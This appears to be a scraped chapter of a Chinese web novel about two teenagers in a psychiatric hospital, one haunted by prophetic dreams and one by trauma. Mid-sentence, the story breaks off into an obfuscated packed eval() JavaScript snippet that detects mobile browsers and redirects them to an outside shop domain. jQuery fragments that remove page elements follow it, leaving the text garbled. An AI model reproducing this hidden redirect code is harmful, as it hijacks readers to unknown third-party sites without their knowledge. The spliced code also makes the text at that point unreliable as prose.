夕阳沉坠山谷尽头，漫天云霞被染成滚烫的橙红与金紫，云层翻涌如燃。
半山腰上，一株异木棉轻摇枝桠，粉白的花瓣挣脱枝头，打着旋儿悠悠飘落，恰好落在云晴发间。
山间晚风褪去暖意，只剩刺骨寒凉。
那一年，天气从没有这般冷，也没有这株亭亭而立的木棉花。
01
“妈，我没病，我真的没事。”
少年的声音清澈，却裹着一层压抑到极致的疲惫与执拗。
紧随其后，是妇人焦急又心疼的哭喊：“这怎么叫没事？你可是妈妈的命根子，真被吓出好歹，我可怎么活啊！”
“我真的没事……”
少年长长叹气，终究拗不过母亲，被半劝半拉地带进那座精神病院。
“乖乖听医生的话，住两天，吃点药，妈妈很快来接你。”
“我的猫。”他低声提醒。
“放心，妈帮你照看着。”
“好。”
他低低应下，指尖死死捏紧怀中的书，跟着护士走向走廊尽头。
这里和他想象中的精神病院截然不同，没有嘶吼，没有狂躁，只有一种死寂般的安静。
他脚步微顿，谨慎地朝深处走去。
走廊尽头，立着个与医院格格不入的少女。
她懒懒趴在窗沿，外头的阳光毫无保留地落满她脸颊，风轻轻撩起她略显枯黄的发丝，防盗网的格子光影，一格一格，在她脸上明明暗暗。
她轻轻眨了眨眼，细长的睫毛下是一双透亮的眸子。
忽然察觉到一道落在自己身上的目光，猛地抬眼望了过来。
少年心头一慌，眼神慌忙躲闪，几乎是逃也似的转身进了病房。
他把手里那本《宇宙》轻轻放在病房桌上，风恰好翻开几页纸，扉页上，只写了两个字：
呈俞。
呈俞别过脸去，心头一阵发涩。
他从没想过，再一次见到她，会是在这样压抑的地方。
少女慢慢走回病房，身影格外单薄。
呈俞坐在床沿，目光不受控制地追着她，直到她在窗边的病床上坐下，轻轻翻开了膝头的书。
那一瞬间，呈俞的呼吸猛地顿住。
同样的封面，同样的纸张质感，甚至连书页被风吹得微微卷起的弧度，都和他放在桌上的那本《宇宙》一模一样。
他怔怔地盯着那本书，指尖不自觉攥紧了床单。
原来不只是他，原来她也还留着，也还在读。
阳光落在摊开的书页间，两个隔着一个过道、曾隔着一整个青春的人，此刻在同一片医院的寂静里，捧着同一本关于星空的书。
少女垂眸看着书，眼底却渐渐漫上倦意。
这本书她翻了整整十年，到如今，也才堪堪看到一半。
她向来觉得内容枯燥乏味，可书握在手里，总觉着不看完，未免太过浪费。
少女名叫云晴，性子向来抠门到了极致。
造就她这般模样的，是几年前那段日子，绝非什么如有神助的好时光。
精打细算、分毫必省，也没能让她的口袋鼓起来，却实实在在，救了她一命。
从记事起，那些支离破碎的未来片段，便夜夜闯入她的梦境，清晰得让人喘不过气。
起初她懵懂说给父母听，直到梦见父亲带陌生女人去宾馆……
后来争吵不休，母亲离开，父亲很快带回那个女人。
家，碎了。
后妈从未因她年幼手下留情，一口咬定她做梦胡言，轻飘飘一句“她又犯病了”，便将她扔进这里。
她拼命解释，说自己没病，那些真的是梦见的。
可换来的，只有冰冷刺骨的话：
“每个病人都说自己没病。”
“谁会天天做梦啊？”
“她就是个精神病。”
被孤立、被嫌弃、被当成怪物，久了，也就习惯了。
她几乎没有零花钱，除了缓解饥饿会用钱，其余的依旧一分一分攒着。
没什么别的念想，只想攒够钱，请母亲吃一顿肯德基。
她只记得一句话：没有什么是一顿饭解决不了的。
母亲还没和父亲离婚时，曾笑着说要带她去县城新开的肯德基吃炸鸡。
她想借着这顿饭，跟母亲道歉。
为当年那个看似“不对”的结局，为自己没能留住的从前。
02
此刻，云晴沉在一场混沌的梦里。
她站在空无一人的十字路口，伸手拉住身前的少年。
梦境并未明说他是谁，可心底深处却有个声音笃定地告诉她。
是她认识的人。
云晴快步上前，一把攥住他：“别走！”
少年只留给她一个模糊背影，不知为何，云晴竟鬼使神差地松了手。
绿灯亮起，少年刚往前踏出一步，一辆失控的货车便猛地冲撞而来。云晴下意识紧紧闭上双眼，心脏像是被狠狠攥碎。
下一秒，床上的云晴骤然睁开眼，惊喘出声。
第二十二次……
云晴抬手，死死揪住胸口的病号服，额前的碎发被冷汗濡湿，黏在苍白的脸上。
她下床走到桌边，拿起热水壶，倒出一杯凉白开。
转身的刹那，忽然对上黑暗中一双眼睛。
云晴浑身一颤，杯中的水剧烈晃动，溅出好几滴。
“你怎么还没睡？”
云晴先开了口，反倒让呈俞微微一怔。
他眨了眨眼，月光落在他脸上，眉目清润，依旧是那般好看，温润如玉，白里透红。
“事情压在心里，睡不着。”
呈俞低声开口，声音裹着化不开的沉闷，话音刚落，便骤然转身躺回床上，留给云晴一个紧绷的背影，连带着周身的气息都沉了下去。
云晴握着水杯的手微微一顿，迟疑着开口：“吃了药，还会不高兴吗？”
呈俞的嘴唇轻轻动了动，喉结滚动了几下，终究是没吐出一个字。
病房里只剩寂静蔓延，他就那样一动不动地躺着，过了许久，才哑着嗓子，带着一丝近乎卑微的茫然，轻声问道：“吃了药，真的可以忘记吗？”
这个问题太过沉重，沉重到云晴张了张嘴，却说不出话。
或许从一开始她就明白，记忆从无标准答案，每个人的执念深浅不同，药效自然也千差万别。
她甚至暗自觉得，自己迟迟忘不掉，不过是心胸太过狭隘，死死攥着过往的伤痕不肯松手，一遍遍自我折磨，自我困囚。
她释然一笑：“许是你刚接受治疗，吃几天药，就好了。对了，你是因为什么才进这里的？”
“嗯，医生说是创伤后应激...我也不知道到底怎么回事，我想不明白为什么母亲对我好和我说话，我却总是情绪激动，总觉得烦......”
剩下的呈俞不敢说，怕眼前的女孩觉得他懦弱。
病房里沉寂了好一会。
呈俞猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494508|202410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
坐起身。
“你一切都忘了？”
病床发出轻微的声响，月光洒在他脸上，眼底满是不可置信，还裹着一层藏不住的委屈。
云晴轻轻摇了摇头，声音沙哑得厉害，带着挥之不去的疲惫：“并没有。吃了药之后，我变得格外健忘，寻常琐事转头就忘，可那些锥心的事，那些我恨之入骨的人，却怎么也抹不去。尤其是那个女人，这么多年过去了，她的脸我刻在骨子里，一刻都不曾忘记。”
呈俞隔着那层淡蓝色的隔帘，静静望着云晴。
“啪嗒！”
病房的灯被骤然点亮。
保安站在门口，语气不耐烦：“大半夜的，还睡不睡？别人不要休息吗！”
强光刺得云晴下意识抬手捂住眼睛，过了几秒才慢慢放下手，看向对面。
目光落在呈俞身上时，梦里那个模糊的少年身影，竟一点点在他轮廓上浮现、重叠，最后彻底合二为一。
保安骂完便转身走了。
呈俞下意识看向一号床的老太太，她服了安神药，睡得沉实，任外面怎么吵，都纹丝不动。
自己……应该也不算打扰。
他刚要开口，云晴已经把自己死死捂在了被子里，捂得严丝合缝。
她拼命蜷缩起身体，瞳孔骤缩，泪水无声地滑落。
浑身止不住地发颤。
“你没事吧...”
他抬起手，想轻拍她，可隔着一层帘子，他怎么都无法过去。
呈俞闭紧嘴，不再乱想。
03
第二日，天光微亮时，呈俞才悠悠转醒。
他揉着发胀的额头坐起身，下意识看向对面的病床，却只看到空荡荡的床铺，云晴的身影早已不见。
他掀开被子下床，可赤脚刚触碰到地面，一股温热黏腻的触感，骤然从脚底蔓延上来。
呈俞的动作猛地僵住，浑身血液像是瞬间凝固，他颤抖着缓缓低下头，瞳孔骤然收缩。
不知何时，地面竟蔓延开一滩深红的水渍，像新鲜的血液一样。
眼角余光扫过，一只玩偶小猫静静泡在水里。
洁白的绒毛吸饱了那刺目的红，一缕缕黏在一起，再没了往日的柔软。
……
04
科室电话急促响起。
李医生刚接起，呈俞母亲不满又焦急的声音便炸了过来：
“医生，我儿子怎么样了？”
“您儿子是？”
“你这医生怎么回事！连我儿子是谁都不知道？我要投诉！”
“您先别急，告诉我名字。”
“呈俞！呈现的呈！”
医生飞快敲下键盘，随口道：
“您儿子今天一直念叨猫，受了刺激，不太说话，情况不算好。”
“猫？念叨猫？”
母亲愣在原地，目光无意识扫向儿子卧室。
床上，安安静静趴着一只狸花猫。
正是呈俞最宝贝的那一只。
05
云晴笑着走回病房，可在看见浑身发抖的呈俞时，脸上的笑意骤然僵住，整个人都愣在了原地。
她走上前，把手里攥着的一颗糖轻轻放在他床边，轻声道：“心情不好的时候，吃颗糖会好受很多。”
呈俞余光扫过那颗糖。
大红的包装纸，一看就是乡下婚礼上常见的廉价喜糖，剥开便是粘腻软糖那种。
云晴刚要转身，他猛地伸手，一把攥住了她的手腕。